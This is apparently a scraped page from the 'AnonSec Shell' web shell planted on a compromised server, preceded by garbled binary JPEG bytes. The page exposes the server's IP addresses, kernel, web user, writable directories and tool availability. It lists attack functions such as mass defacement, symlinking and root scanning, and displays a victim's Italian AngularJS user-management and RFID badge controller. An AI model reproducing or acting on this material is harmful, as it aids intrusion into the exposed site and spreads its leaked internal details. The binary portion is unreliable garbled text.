JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/admin/js/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/admin/js/controllers/utenti.js
materialAdmin
    

    //=================================================
    // Controller Lista Utenti e Inserimento Utente
    //=================================================

    .controller('utentiCtrl', function($filter, $sce, $state, $scope, ngTableParams, tableService, APIService, animationService, growlService) {
        // ACL
        xxx =$scope;
        if($scope.thisPagesNames.indexOf($state.current.nomePagina) < 0){
            // OuttaHere!
            $state.go("home");
            growlService.growl($scope.outtaHere, 'danger');
        }

        this.animationService = animationService;
        this.growlService = growlService;
       
        
        /*----------------------RFID--------------------------*/

        $scope.lunghezza_codice_rfid=9


        $scope.jquryRfidRegistra = function(utente){
            now_user = utente;
            // Parses raw scan into name and ID number
            var rfidParser = function (rawData) {
                console.log(rawData);
                if (rawData.length != 9) return null;
                else return rawData;
                
            };

            // Called on a good scan (company card recognized)
            var goodScan = function (cardData) {
                $.rfidscan("disable");
                 APIService.async({method: "registrarfid", rfid:cardData.substr(0,8), id_user: now_user.id_user, force: false}).then(function(adata) {
                    if(adata.status && adata.message.length){
                      swal("Operazione Completata!", "Associazione avvenuta correttamente!", "success");
                      now_user = null;
                      
                    }else{
                       swal("Errore", "Badge già associato ad un utente", "error");
                    }
                 });


                
            };

            // Called on a bad scan (company card not recognized)
            var badScan = function() {
                console.log("Bad Scan.");
            };

            // Initialize the plugin.
            $.rfidscan({
                parser: rfidParser,
                success: goodScan,
                error: badScan
            });

        }

        $scope.jquryRfidVerifica = function(){
            // Parses raw scan into name and ID number
            var rfidParser = function (rawData) {
                console.log(rawData);
                if (rawData.length != 9) return null;
                else return rawData;
                
            };

            // Called on a good scan (company card recognized)
            var goodScan = function (cardData) {
                $.rfidscan("disable");
                 APIService.async({method: "verificarfid", rfid:cardData.substr(0,8)}).then(function(adata) {
                    if(adata.status && adata.message.length){
                       swal("Rfid associato a:", adata.message, "success");
                    }else{
                       swal("Errore", adata.message, "error");
                    }
                 });


                
            };

            // Called on a bad scan (company card not recognized)
            var badScan = function() {
                console.log("Bad Scan.");
            };

            // Initialize the plugin.
            $.rfidscan({
                parser: rfidParser,
                success: goodScan,
                error: badScan
            });

        }

        $scope.jquryRfidCancella = function(){
            // Parses raw scan into name and ID number
            var rfidParser = function (rawData) {
                console.log(rawData);
                if (rawData.length != 9) return null;
                else return rawData;
                
            };

            // Called on a good scan (company card recognized)
            var goodScan = function (cardData) {
                $.rfidscan("disable");
                 APIService.async({method: "cancellarfid", rfid:cardData.substr(0,8)}).then(function(adata) {
                    if(adata.status && adata.message.length){
                      swal("Operazione Completata!", "RFID cancellato con successo!", "success");                      
                    }else{
                       swal("Errore", "Badge non associato ad nessun utente", "error");
                    }
                 });


                
            };

            // Called on a bad scan (company card not recognized)
            var badScan = function() {
                console.log("Bad Scan.");
            };

            // Initialize the plugin.
            $.rfidscan({
                parser: rfidParser,
                success: goodScan,
                error: badScan
            });

        }



        this.registraRfid = function(utente) {

            $scope.jquryRfidRegistra(utente);

            swal({
              title: "Associazione Badge",
              text: "Avvicina un badge o un potachiavi al lettore!",
              imageUrl: "img/rfid.gif", 
              confirmButtonColor: "#DD6B55",   
              confirmButtonText: "Annulla associazione!", 
              closeOnConfirm: false  

            }, function(isConfirm){   
                if (isConfirm) {   
                    //disattivo listner hid
                    $.rfidscan("disable");
                     swal("Associazione Annullata", "L'associazione è stata annullata", "warning");;   
                } 
            
            });

        }

        $scope.cancellaRfid = function() {

            $scope.jquryRfidCancella();

            swal({
              title: "Cancellazione Badge",
              text: "Avvicina un badge o un potachiavi al lettore!",
              imageUrl: "img/rfid.gif", 
              confirmButtonColor: "#DD6B55",   
              confirmButtonText: "Annulla cancellazione!", 
              closeOnConfirm: false  

            }, function(isConfirm){   
                if (isConfirm) {   
                    //disattivo listner hid
                    $.rfidscan("disable");
                     swal("Cancellazione Annullata", "La cancellazione è stata annullata", "warning");;   
                } 
            
            });

        }

        $scope.verificaRfid = function() {

            $scope.jquryRfidVerifica();

            swal({
              title: "Verifica Badge",
              text: "Avvicina un badge o un potachiavi al lettore!",
              imageUrl: "img/rfid.gif", 
              confirmButtonColor: "#DD6B55",   
              confirmButtonText: "Annulla verifica!", 
              closeOnConfirm: false  

            }, function(isConfirm){   
                if (isConfirm) {   
                    //disattivo listner hid
                    $.rfidscan("disable");
                     swal("Verifica Annullata", "La verifica è stata annullata", "warning");;   
                } 
            
            });

        }

        /*----------------------FINE RFID--------------------------*/


        this.getData = function (){

            APIService.async({method: "getutenti"}).then(function(adata) {

                if(adata.status && adata.message.length){

                    //assegno i dati ricevuti a data
                    var data = adata.message;

                    //se è un utente del sistema e non ldap non lo faccio draggare
                    for (var i = data.length - 1; i >= 0; i--) {
                        if(data[i]['dn']==undefined){
                            data[i]['drag'] = false;
                            data[i]['style'] = "";
                        }else{
                            data[i]['drag'] = true;
                            data[i]['style'] = "cursor: move;";
                        }

                        for(var sede in $scope.sedi){
                            if($scope.sedi[sede].idsede == data[i]["sede"]){
                                data[i]["sede"] = $scope.sedi[sede];
                                break;
                            }
                        }
                                
                        
                    }

                    //aggiorno la variabile per ng-repeat della tabella
                    $scope.uctrl.data = data;
                    //instanzio la ng-table
                    $scope.uctrl.tableUtenti = new ngTableParams({
                        page: 1,            // show first page
                        count: 10
                    }, 
                    {
                        total: data.length,// $scope.data.length, // length of data
                        getData: function($defer, params) {

                            // use build-in angular filter
                            var orderedData = params.filter() ? $filter('filter')(data, params.filter()) : data;
                            this.id = orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count());
                            this.firstname = orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count());
                            this.email = orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count());
                            this.username = orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count());
                            this.dn = orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count());
                            params.total(orderedData.length); // set total for recalc pagination
                            
                            $defer.resolve(this.id, this.firstname, this.email, this.username, this.dn);
                        }
                    }
                    );
               
                }else{
                    
                    animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");

                }

            });
        };


        APIService.async({method: "getsedi"}).then(function(adata) {
            console.log(adata);
            if(adata.status && adata.message.length){

                //assegno i dati ricevuti a data
                var data = adata.message;
                $scope.sedi = data;
           
            }else{
                
                animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");

            }

            $scope.uctrl.getData();

        });

        

        this.getGroups = function (){

            APIService.async({method: "getgroups"}).then(function(adata) {
                console.log(adata);
                if(adata.status && adata.message.length){

                    //assegno i dati ricevuti a data
                    var data = adata.message;
                    console.log('getGruppi:__', adata);
                    $scope.gruppi = data;
                    
               
                }else{
                    
                    animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");

                }

            });
        };

        this.getGroups();


            
        



        // Spostamento utente in gruppo
        $scope.moveUserToGroup = function(groupID, userID){
            APIService.async({method: "addusertogroup", id_group: groupID, id_user: userID}).then(function(adata) {
                console.log(adata);
                console.log(userID, groupID);
                if(adata.status && adata.message){
                    growlService.growl(adata.message, 'info');
                }else{                    
                    growlService.growl(adata.message, 'danger');
                }
            }); 
        }

        // Drag/Drop utente in gruppo
        $scope.dropped = function(dragged, dropped){

            var drop = jQuery('#'+dropped);
            var drag = jQuery('#'+dragged);
            var groupID = drop[0].getAttribute('group-id');
            var userID = drag[0].getAttribute('user-id');

            drop.removeClass('lvl-over');

            $scope.moveUserToGroup(groupID,userID);

        }

        //Insert
        this.newUser = 0;

         this.modifica = function() {    
            if(this.modUser.sede && "idsede" in this.modUser.sede){
                this.modUser.sede = this.modUser.sede.idsede; 
            }else{
                this.modUser.sede = 1;
            }
            this.modUser.method = "updateutente";
            APIService.async(this.modUser).then(function(adata) {
                if(adata.status){
                    swal(adata.message, "Utente modificato con successo!", "success")
                    //aggiorno la lista degli utenti 
                    $scope.uctrl.getData();
                    //svuoto i valori precedenti
                    for(x in $scope.uctrl.modUser){
                        $scope.uctrl.modUser[x] = "";
                    }
                    //nascondo il menu inserimento
                    $scope.uctrl.edit = 0;
            
                }else{
                    $scope.uctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                }
            });
        }

        $scope.edit = 0;

         $scope.cancellaUtente = function (w){

            swal({   
                title: "Sei sicuro di voler cancellare questo utente?",   
                text: "L'azione eseguita sarà irreversibile!",   
                type: "warning",   
                showCancelButton: true,   
                confirmButtonColor: "#DD6B55",   
                confirmButtonText: "Si, cancellalo!",   
                closeOnConfirm: false 
            }, function(){   

                APIService.async({method: "deleteutente", id: w['id_user']}).then(function(adata) {

                    if(adata.status && adata.message){
                        var index = $scope.uctrl.tableUtenti.data.indexOf(w);
                        if (index > -1) {
                            $scope.uctrl.tableUtenti.data.splice(index, 1);
                        }
                        swal("Cancellato!", "L'utente è stato eliminato dal sistema.", "success"); 
                    }else{
                        growlService.growl("Utente non trovato!", 'warning'); 

                    }

                });

            });
            
            
        }

        this.submit = function() {            
            this.insertUser.sede = this.insertUser.sede.idsede;
            this.insertUser.method = "insertutente";
            APIService.async(this.insertUser).then(function(adata) {
                if(adata.status){
                    swal(adata.message, "L'utente protrà effettuare l'accesso senza verificare l'account in quanto creato da un'amministratore!", "success")
                    //aggiorno la lista degli utenti 
                    $scope.uctrl.getData();
                    //svuoto i valori precedenti
                    for(x in $scope.uctrl.insertUser){
                        $scope.uctrl.insertUser[x] = "";
                    }
                    //nascondo il menu inserimento
                    $scope.uctrl.newUser = 0;
            
                }else{
                    $scope.uctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                }
            });
        }

        $scope.newUser = 0;

    })

    //=================================================
    // Controller Editazione e Visualizzazione Profilo
    //=================================================
/*
    .controller('profiloCtrl', function($state, $scope, APIService, growlService, animationService){
        //parametri passati dal precedente
        this.parametri = $state.params;
        this.growlService = growlService;
        this.animationService = animationService;


        APIService.async({method:"getutenteinformazioni",iduser:this.parametri.id_user}).then(function(adata) {

            if(adata.status){
                //assegno i dati ricevuti a data
                $scope.pctrl.info = adata.message;
                $scope.pctrl.info.id_user = $scope.pctrl.parametri.id_user;
            }else{
                $scope.pctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");
            }

        });

        //Edit
        this.editSummary = 0;
        this.editInfo = 0;
        this.editContact = 0;
    
        
        this.submit = function(item) {            
            if(item === 'profileSummary') {
                this.editSummary = 0;
                this.info.method = "updateinformazioneutente";
                APIService.async(this.info).then(function(adata) {
                    if(adata.status){
                        $scope.pctrl.growlService.growl(adata.message, 'success'); 
                    }else{
                        $scope.pctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                    }
                });
            }

            if(item === 'profileInfo') {
                this.editInfo = 0;

                this.info.method = "updateinformazionibasiutente";
                APIService.async(this.info).then(function(adata) {
                    if(adata.status){
                        $scope.pctrl.growlService.growl(adata.message, 'success'); 
                    }else{
                        $scope.pctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                    }
                });
            }
            
            if(item === 'profileContact') {
                this.editContact = 0;

                this.info.method = "updateinformazionicontattoutente";
                APIService.async(this.info).then(function(adata) {
                    if(adata.status){
                        $scope.pctrl.growlService.growl(adata.message, 'success'); 
                    }else{
                        $scope.pctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                    }
                });
            }

            if(item === 'profilePhoto') {

                //setto l'immagine in real time
                var fileInput = $('#foto-input');
                var file = fileInput[0].files[0];

                this.info.upload = file;
*/
//                var imageType = /image.*/;
/*
                if (file.type.match(imageType)) {
                    var reader = new FileReader();

                    reader.addEventListener("load", function () {
                        $scope.pctrl.info.avatar_location = this.result;
                    }, false);

                    reader.readAsDataURL(file); 
                } else {
                    alert("File non supportato!");
                }



                this.info.method = "updatefotocontattoutente";
                APIService.async(this.info).then(function(adata) {
                    if(adata.status){
                        $scope.pctrl.growlService.growl(adata.message, 'success'); 
                    }else{
                        $scope.pctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                    }
                });
            }
            
            
        }

    })






    /****
CHIAMATA STANDARD API
//Caricament dati da API REST

        APIService.async("method=getmenu").then(function(adata) {

            if(adata.status){
                //assegno i dati ricevuti a data
                var data = adata.message;
           
            }else{
                
                animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");
            }

        });
*******/

Anon7 - 2022
AnonSec Team